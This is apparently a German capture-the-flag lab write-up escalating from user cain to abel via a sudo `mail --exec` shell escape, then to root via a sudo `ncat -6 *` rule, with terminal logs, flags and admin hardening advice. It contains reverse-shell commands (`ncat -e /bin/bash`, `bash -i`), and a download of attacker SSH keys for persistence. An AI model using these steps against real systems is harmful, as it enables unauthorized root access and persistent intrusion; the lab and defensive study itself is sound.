Empfehlung (Admin): Diese sudo-Regel ist unsicher. Erlaube `mail` nicht via sudo, insbesondere nicht mit `NOPASSWD` und ohne Einschränkung der Argumente. Überprüfe alle sudo-Regeln sorgfältig.
cain@mail:/var$ sudo -l Matching Defaults entries for cain on mail: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User cain may run the following commands on mail: (abel) NPASSWD: /usr/bin/mail
Analyse: Die unsichere sudo-Regel wird ausgenutzt. `sudo -u abel mail --exec='!/bin/sh'` wird ausgeführt, um eine Shell als Benutzer `abel` zu erhalten. Die Identität wird mit `id` überprüft und `bash` für eine bessere Shell gestartet.
Bewertung: Der Befehl ist erfolgreich. Eine Shell wird als `abel` (`uid=1001(abel)`) erlangt.
Empfehlung (Pentester): Horizontale Bewegung erfolgreich! Enumeriere nun als `abel`. Suche nach der User-Flag in `/home/abel`. Überprüfe `abel`s sudo-Rechte (`sudo -l`).
Empfehlung (Admin): Sudo-Regel entfernen! Überwache `sudo`-Ausführungen.
cain@mail:/var$ sudo -u abel mail --exec='!/bin/sh' $ id uid=1001(abel) gid=1001(abel) groups=1001(abel) $ bash abel@mail:/var$
Analyse: Im Home-Verzeichnis von `abel` wird die Datei `user.txt` gefunden und ausgelesen.
Bewertung: Die User-Flag `170e07ec2a52b4c0583dadd5e04a2998` wird erfolgreich extrahiert.
Empfehlung (Pentester): User-Flag gesichert. Konzentriere dich nun auf die Eskalation zu Root-Rechten von `abel` aus.
Empfehlung (Admin): Sichern der User-Flags (Berechtigungen).
abel@mail:/var$ cd ~ abel@mail$ ls user.txt abel@mail$ cat user.txt 170e07ec2a52b4c0583dadd5e04a2998
abel@mail$ ls -la /etc/passwd -rw-r--r-- 1 root root 1541 May 13 2023 /etc/passwd
Analyse: Der Befehl `sudo -l` wird als Benutzer `abel` ausgeführt.
Bewertung: **Kritischer Fund für Root-Eskalation:** `abel` darf `/usr/bin/ncat -6 *` als `root` ohne Passwort ausführen (`(root) NPASSWD: /usr/bin/ncat -6 *`). Das Sternchen (`*`) bedeutet, dass beliebige Argumente an `ncat` übergeben werden können. Da `ncat` mit der Option `-e` oder `--exec` Befehle ausführen kann, ist dies ein direkter Weg zu einer Root-Shell.
Empfehlung (Pentester): Nutze diese sudo-Regel, um eine Root-Shell zu erhalten. Da nur IPv6 (`-6`) erlaubt ist, muss eine IPv6-Verbindung aufgebaut werden. Ein möglicher Ansatz:
1. Starte auf dem Zielsystem als `abel` einen `ncat`-Listener auf einem Port (z.B. 5555): `ncat -lvnp 5555`.
2. Finde die link-lokale IPv6-Adresse des Zielsystems (z.B. mit `ip -6 a`).
3. Führe den sudo-Befehl aus, um `ncat` als root zu starten, sich mit dem eigenen Listener zu verbinden und eine Bash-Shell bereitzustellen: `sudo -u root /usr/bin/ncat -6
Empfehlung (Admin): **Extrem unsichere sudo-Regel!** Entferne diesen Eintrag sofort. Erlaube niemals die Ausführung von Netzwerktools wie `ncat` mit sudo, insbesondere nicht mit `NOPASSWD` und uneingeschränkten Argumenten (`*`).
abel@mail$ sudo -l Matching Defaults entries for abel on mail: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User abel may run the following commands on mail: (root) NPASSWD: /usr/bin/ncat -6 *
Analyse: Es werden verschiedene Versuche unternommen, die `ncat`-Sudo-Regel auszunutzen, einschließlich Nmap-Scans gegen IPv6-Adressen und das Untersuchen von Mail-Dateien.
Bewertung: Die direkten `ncat`-Versuche scheinen fehlzuschlagen, möglicherweise aufgrund falscher Syntax oder Netzwerkproblemen mit IPv6. Der Nmap-Scan der IPv6-Adresse des Angreifers findet nur den Port 5555 offen (wahrscheinlich ein Test-Listener). Das Lesen der Mail-Datei von `cain` zeigt eine Bounce-Nachricht mit Sudo-Log-Informationen, aber keine direkten Hinweise für die Eskalation.
Empfehlung (Pentester): Die Mail-Enumeration war eine Sackgasse. Die fehlgeschlagenen `ncat`-Versuche deuten darauf hin, dass die Verbindung über IPv6 korrekt aufgebaut werden muss. Der Ansatz, einen Listener auf dem Ziel zu starten und sich dann lokal per IPv6 damit zu verbinden (wie später erfolgreich gezeigt), ist der robusteste Weg.
Empfehlung (Admin): Diese Schritte unterstreichen die Notwendigkeit, die unsichere sudo-Regel zu entfernen.
# ncat--ssl -c "bash -i 2>&1" # sudo -u root ncat -6 fe80a00:27ff:fe30:2eda --ssl -c "bash -i 2>&1" 443
Starting Nmap 7.94SVN ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2024-09-17 22:27 CEST
Nmap scan report for PC192-168-2-199 (fe80::a00:27ff:fe30:2eda)
Host is up (0.0000060s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE
5555/tcp open freeciv
Nmap done: 1 IP address (1 host up) scanned in 0.31 seconds
abel@mail$ cd /var/mail/ abel@mail:/var/mail$ ls -la total 12 drwxrwxrwx 2 root root 4096 sep 17 22:15 . drwxr-xr-x 12 root root 4096 may 13 2023 .. -rwxrwxrwx 1 cain cain 2274 sep 17 22:15 cain abel@mail:/var/mail$ cat cain From MAILER-DAEMON@mail.nyx (Mail Delivery System) Subject: Undelivered Mail Returned to Sender To: cain@mail.nyx ... (Mail Inhalt gekürzt) ... Diagnostic-Code: X-Postfix; unknown user: "user" ... Subject: * SECURITY information for mail * ... mail : Sep 17 20:15:02 : cain : a password is required ; TTY=pts/0 ; PWD=/var ; USER=root ; COMMAND=/usr/bin/mail --exec=!/bin/sh ...
Analyse: Um eine stabilere Arbeitsumgebung zu schaffen, wird SSH-Zugriff für `abel` eingerichtet. Ein `.ssh`-Verzeichnis wird erstellt, der öffentliche SSH-Schlüssel des Angreifers wird als `authorized_keys` heruntergeladen (angenommen, er wird auf dem Angreifer-Webserver bereitgestellt). Anschließend wird eine SSH-Verbindung als `abel` mit dem privaten Schlüssel hergestellt.
Bewertung: Die Einrichtung des SSH-Zugangs ist erfolgreich. Dies bietet eine zuverlässige interaktive Shell für die weiteren Schritte.
Empfehlung (Pentester): Nutze die SSH-Verbindung für die Ausführung der Privilege-Escalation-Befehle.
Empfehlung (Admin): Überwache die Erstellung von `.ssh`-Verzeichnissen und Änderungen an `authorized_keys`-Dateien.
abel@mail$ mkdir .ssh abel@mail$ cd .ssh/ abel@mail/.ssh$ wget 192.168.2.199/authorized_keys --2024-09-17 22:32:41-- http://192.168.2.199/authorized_keys Connecting to 192.168.2.199:80... connected. HTTP request sent, awaiting response... 200 OK Length: 91 [application/octet-stream] Saving to: ‘authorized_keys’ authorized_keys 100%[===================>] 91 --.-KB/s in 0s 2024-09-17 22:32:41 (34.8 MB/s) - ‘authorized_keys’ saved [91/91]
The authenticity of host 'mail.nyx (192.168.2.110)' can't be established. ED25519 key fingerprint is SHA256:3dqq7f/jDEeGxYQnF2zHbpzEtjjY49/5PvV5/4MMqns. ... (Host Key Information) ... Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'mail.nyx' (ED25519) to the list of known hosts. Enter passphrase for key '.ssh/id_rsa': [Passphrase eingegeben] Linux mail 5.10.0-23-amd64 #1 SMP Debian 5.10.179-1 (2023-05-12) x86_64 ... abel@mail$
Analyse: Die Privilege Escalation wird nun mittels der `ncat`-sudo-Regel durchgeführt.
1. Die link-lokale IPv6-Adresse des Zielsystems wird mit `ip -6 a` ermittelt.
2. In einer Shell als `abel` (z.B. die ursprüngliche Reverse Shell) wird ein `ncat`-Listener auf Port 5555 gestartet (`ncat -lvnp 5555`).
3. `ss -altpn` wird ausgeführt, um zu bestätigen, dass der Listener aktiv ist.
4. In einer zweiten Shell als `abel` (z.B. die SSH-Session) wird der `sudo`-Befehl ausgeführt: `sudo -u root ncat -6
Bewertung: Der Plan funktioniert perfekt: * Die IPv6-Adresse (`fe80::a00:27ff:fe89:7ade`) wird korrekt identifiziert. * Der Listener startet erfolgreich. * Der `sudo ncat`-Befehl verbindet sich erfolgreich mit dem lokalen Listener. * Der erste `ncat`-Listener empfängt die Verbindung und zeigt eine Root-Shell (`uid=0(root) gid=0(root) groups=0(root)`). Root-Zugriff wurde durch Ausnutzung der unsicheren sudo-Regel erlangt.
Empfehlung (Pentester): Root-Zugriff erlangt! Navigiere zu `/root` und lies die `root.txt`-Flag. Dokumentiere den Angriffspfad.
Empfehlung (Admin): **Entferne die unsichere sudo-Regel für `abel` sofort!** Dies ist eine kritische Schwachstelle, die direkten Root-Zugriff ermöglicht.
abel@mail/.ssh$ ip -6 a 1: lo:mtu 65536 state UNKNOWN qlen 1000 inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: enp0s3: mtu 1500 state UP qlen 1000 inet6 2003:d4:c71f:e396:a00:27ff:fe89:7ade/64 scope global dynamic mngtmpaddr valid_lft 604797sec preferred_lft 86397sec inet6 fe80::a00:27ff:fe89:7ade/64 scope link valid_lft forever preferred_lft forever abel@mail/.ssh$ ncat -lvnp 5555 Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::5555 Ncat: Listening on 0.0.0.0:5555
abel@mail:/var/mail$ ss -altpn State Recv-Q Send-Q Local Address:Port Peer Address:Port Process LISTEN 0 10 0.0.0.0:5555 0.0.0.0:* users:(("ncat",pid=5321,fd=4)) LISTEN 0 128 0.0.0.0:22 0.0.0.0:* LISTEN 0 100 0.0.0.0:25 0.0.0.0:* LISTEN 0 511 *:80 *:* LISTEN 0 10 [::]:5555 [::]:* users:(("ncat",pid=5321,fd=3)) LISTEN 0 128 [::]:22 [::]:* LISTEN 0 100 [::]:25 [::]:*
abel@mail:/var/mail$ sudo -u root ncat -6 fe80::a00:27ff:fe89:7ade%enp0s3 5555 -e /bin/bash
abel@mail/.ssh$ ncat -lvnp 5555 Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::5555 Ncat: Listening on 0.0.0.0:5555 Ncat: Connection from ::1. Ncat: Connection from ::1:48556. id uid=0(root) gid=0(root) groups=0(root) #
Analyse: In der erlangten Root-Shell wird die Root-Flag aus `/root/root.txt` ausgelesen.
Bewertung: Die Root-Flag `9f0541ef5fd69bfc3b2d4507eaf2a9db` wird erfolgreich extrahiert.
Empfehlung (Pentester): Beide Flags (User und Root) wurden gefunden. Der Penetrationstest ist erfolgreich abgeschlossen. Erstelle den finalen Bericht.
Empfehlung (Admin): System bereinigen, Schwachstellen (LFI, unsichere sudo-Regeln) beheben.
# cat /root/root.txt 9f0541ef5fd69bfc3b2d4507eaf2a9db